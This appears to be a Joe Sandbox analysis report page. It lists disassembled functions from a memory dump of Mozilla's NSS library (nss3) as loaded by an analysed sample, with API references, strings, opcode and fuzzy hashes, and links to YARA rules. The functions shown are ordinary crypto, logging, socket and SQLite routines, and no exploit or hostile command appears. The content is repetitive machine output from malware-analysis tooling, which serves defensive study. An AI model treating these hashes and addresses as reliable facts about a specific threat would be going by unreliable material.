Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a6fb3cd1f4ecf80c88b17cf0243f96a491fd9aa98c841ce4cfde9eda6217b4be
Instruction ID: dec9fa59f45e9f9a4f3cee90864f2d521c9af6c4ae4b854f7057269b02ab02cd
Opcode Fuzzy Hash: a6fb3cd1f4ecf80c88b17cf0243f96a491fd9aa98c841ce4cfde9eda6217b4be
Instruction Fuzzy Hash: 2A21E030A043559BD7108F19C841B5AB7F2EF86308F148939D8699BFA1E771E9488BD2

Function 6CCCCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CCCCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCCCC7B), ref: 6CCCCD7A
Part of subcall function 6CCCCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCCCD8E
Part of subcall function 6CCCCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCCCDA5
Part of subcall function 6CCCCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCCCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CCCCCB5
memcpy.VCRUNTIME140(6CD614F4,6CD602AC,00000090), ref: 6CCCCCD3
memcpy.VCRUNTIME140(6CD61588,6CD602AC,00000090), ref: 6CCCCD2B

Part of subcall function 6CBE9AC0: socket.WSOCK32(?,00000017,6CBE99BE), ref: 6CBE9AE6
Part of subcall function 6CBE9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CBE99BE), ref: 6CBE9AFC

Part of subcall function 6CBF0590: closesocket.WSOCK32(6CBE9A8F,?,?,6CBE9A8F,00000000), ref: 6CBF0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CCCCCB0

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: aab8facf0c99a933e163b3916b99dc533dacd2f4d6a8d0a15e1d2a1c2204cb88
Instruction ID: 2c78c61e36a872d87bba940d42055aa8a148ddc09d45b750a7605686900a8283
Opcode Fuzzy Hash: aab8facf0c99a933e163b3916b99dc533dacd2f4d6a8d0a15e1d2a1c2204cb88
Instruction Fuzzy Hash: AB116DB1B082405FFB009B5BAC46766BABCA746358F101029E606CBF61E771D448CBE6

Function 6CC31CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CC31CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CC31CF1

Part of subcall function 6CD109D0: PR_Now.NSS3 ref: 6CD10A22
Part of subcall function 6CD109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD10A35
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD10A66
Part of subcall function 6CD109D0: PR_GetCurrentThread.NSS3 ref: 6CD10A70
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD10A9D
Part of subcall function 6CD109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD10AC8
Part of subcall function 6CD109D0: PR_vsmprintf.NSS3(?,?), ref: 6CD10AE8
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10B19
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10B48
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10C76
Part of subcall function 6CD109D0: PR_LogFlush.NSS3 ref: 6CD10C7E

Strings

C_Initialize, xrefs: 6CC31CD3
pInitArgs = 0x%p, xrefs: 6CC31CEC

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 64c8fbfdc6f62504069bc1b79f956ca1d9e714519505a73821308f263c902921
Instruction ID: cce55d68ae4cfba2585d704b01d7abd59b4f4c8fab7eb73b49e2183ebc98d95f
Opcode Fuzzy Hash: 64c8fbfdc6f62504069bc1b79f956ca1d9e714519505a73821308f263c902921
Instruction Fuzzy Hash: BD019635201190DFFF029B5AFD4876533BDA7C3399F084065E60D92A21EB74E449C7B1

Function 6CB97F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB981DF
LeaveCriticalSection.KERNEL32(?), ref: 6CB98239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB98255
sqlite3_free.NSS3(00000000), ref: 6CB98260

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 1d80f071fcc8df1aefedf2881b5ddc97fb04f3831042ec6388e09a608b418753
Instruction ID: 0271baba9f7f455b3a5cf9ba5b24664b78fdc5578b42c3154416b04c4d0469f8
Opcode Fuzzy Hash: 1d80f071fcc8df1aefedf2881b5ddc97fb04f3831042ec6388e09a608b418753
Instruction Fuzzy Hash: A191CE31A01298CBEF04DFE5D8587ADBBB9FF07304F24013AD51A9BA50DB3A5945CB92

Function 6CC71D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC71D8F

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC71DA6

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC71E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC71ED0

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 6d391a5f06f023f989608fe6921a2e5135ad04fa7c977e078311468a7fa95de8
Instruction ID: 859eb337dfa8f60b1bf7a4ed63e4423e48484e7fd565b7f1c108c0fe043bbe2c
Opcode Fuzzy Hash: 6d391a5f06f023f989608fe6921a2e5135ad04fa7c977e078311468a7fa95de8
Instruction Fuzzy Hash: 52515975A002098FDB14CF99C894BAEB7BAFF45308F144129E81D9B750E731E945CBA0

Function 6CC8AC80 Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD074,00000000), ref: 6CC8AD13
memcmp.VCRUNTIME140(?,?,?), ref: 6CC8AD65
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC8AD95
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC8ADC8

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Item_Util$CopyErrorZfreememcmp
String ID:
API String ID: 2638228310-0
Opcode ID: b1985e4ef4d8e04a3a6805aea39e1982b4058c2beb180397cd06167bfac85141
Instruction ID: 17385003e5cd985dbff89ef3973618ec6e5b9632f04de584cc38a64c337d261d
Opcode Fuzzy Hash: b1985e4ef4d8e04a3a6805aea39e1982b4058c2beb180397cd06167bfac85141
Instruction Fuzzy Hash: B341AF71E01218ABDB10CF55DC85FAFBBB8EF8970CF544165E804AB681F771A944C6A1

Function 6CCC4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CBA85D2,00000000,?,?), ref: 6CCC4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC50D6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: cabc1b8a27b17f6ac3e6a51fa52c5cb78a8aacbf2aea96f3fbdfb4ee117dc3c0
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 54417DB2A002118BDB18CF18DCD179AB7E1BF4431871D4669D84ACBB02F779E891CB91

Function 6CBEFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CBEFDFE), ref: 6CBEFFAD

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CBEFDFE), ref: 6CBEFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CBEFDFE), ref: 6CBF001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CBEFDFE), ref: 6CBF006F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: b3b167897276529c76aabc18265cf37432837758bd10a6ec75987d418e86e4f0
Instruction ID: 4df372ced08c657bf8acd618b8d5c483a0d494392f17c88b8e2bdcce00c75ad7
Opcode Fuzzy Hash: b3b167897276529c76aabc18265cf37432837758bd10a6ec75987d418e86e4f0
Instruction Fuzzy Hash: C541C371F002599BEF04DFA5E885ABEB779FF46304F040129D91693B10EB399946CBA2

Function 6CC73D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6CC7127F,?), ref: 6CC73D89

Part of subcall function 6CC706F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CC72E70,00000000), ref: 6CC70701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6CC73DD3

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 222c7c24fe662ccd2b002d15a8942fd9595021f7d83f317577b22dac64e82a2e
Instruction ID: c7a57716b5649de9ad9103c98039f20ad5c18badf684679942dc2d14d01870ae
Opcode Fuzzy Hash: 222c7c24fe662ccd2b002d15a8942fd9595021f7d83f317577b22dac64e82a2e
Instruction Fuzzy Hash: 5131E375A225249BE734862A9940BA97254FB9236CF2C0676DE15C7FD1FB21EC4082B2

Function 6CCD7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CCD7ED8

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: abba796132a0ba7cc31a77da1e885b18899551220f8279f09ff41549fb0f6bb2
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 6431A2B2A002118FDB04CF09D89499ABBA2BF8831871B8169C9585BF15FB71EC45CBD1

Function 6CC72C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CC71289,?), ref: 6CC72D72

Part of subcall function 6CC73390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CC72CA7,E80C76FF,?,6CC71289,?), ref: 6CC733E9
Part of subcall function 6CC73390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CC7342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC71289,?), ref: 6CC72D61

Part of subcall function 6CC70B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC70B21
Part of subcall function 6CC70B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC70B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CC71289,?), ref: 6CC72D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CC71289,?), ref: 6CC72DAF

Part of subcall function 6CC2B8F0: PR_CallOnceWithArg.NSS3(6CD62178,6CC2BCF0,?), ref: 6CC2B915
Part of subcall function 6CC2B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CC2B933
Part of subcall function 6CC2B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CC2B9C8
Part of subcall function 6CC2B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CC2B9E1

Part of subcall function 6CC70A50: SECOID_GetAlgorithmTag_Util.NSS3(6CC72A90,E8571076,?,6CC72A7C,6CC721F1,?,?,?,00000000,00000000,?,?,6CC721DD,00000000), ref: 6CC70A66

Part of subcall function 6CC73310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CC72D1E,?,?,?,?,00000000,?,?,?,?,?,6CC71289), ref: 6CC73348

Part of subcall function 6CC706F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CC72E70,00000000), ref: 6CC70701

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: c61ccbe47b83eb086376be36134ff1e020a82440f99ab94f577cea3d3596c194
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: E63129B2900205ABDB209E64ED54F9A3B69FF5531DF140170EC149BB91F732E928C7B2

Function 6CC06C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC06C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC06CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC06CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CD28FE0), ref: 6CC06CFE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ea13466cb89e78d38af9ac7ad02dc504ebebd8f6e18ff1914e5387ca0564bcc2
Instruction ID: 4463bd623140c9fdad13d196da3fb989ffde6607a7ee402772af8dfffdb5c321
Opcode Fuzzy Hash: ea13466cb89e78d38af9ac7ad02dc504ebebd8f6e18ff1914e5387ca0564bcc2
Instruction Fuzzy Hash: EC318EB1A006169FEB08CF65C891ABFBBF5EF85248B10442DDD05E7750FB329946CBA0

Function 6CC76DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CC76E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC76E57

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CC76E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CC76EAA

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: d98df8254eaae9c518f3505dd9ff0114db69c77c2f6539e54ec442fc2e67773e
Instruction ID: eb614dfe11dbe219a54ca7fe46056622e57f675a3e73282c7e492f1c1a7d27ca
Opcode Fuzzy Hash: d98df8254eaae9c518f3505dd9ff0114db69c77c2f6539e54ec442fc2e67773e
Instruction Fuzzy Hash: 14319131610E12EEDB245F34DD05396B7A5EB0131AF10063CD49AD6A91FB316958CFB2

Function 6CC5DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CC5DDB1,?,00000000), ref: 6CC5DDF4

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CC5DDB1,?,00000000), ref: 6CC5DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CC5DDB1,?,00000000), ref: 6CC5DE17

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
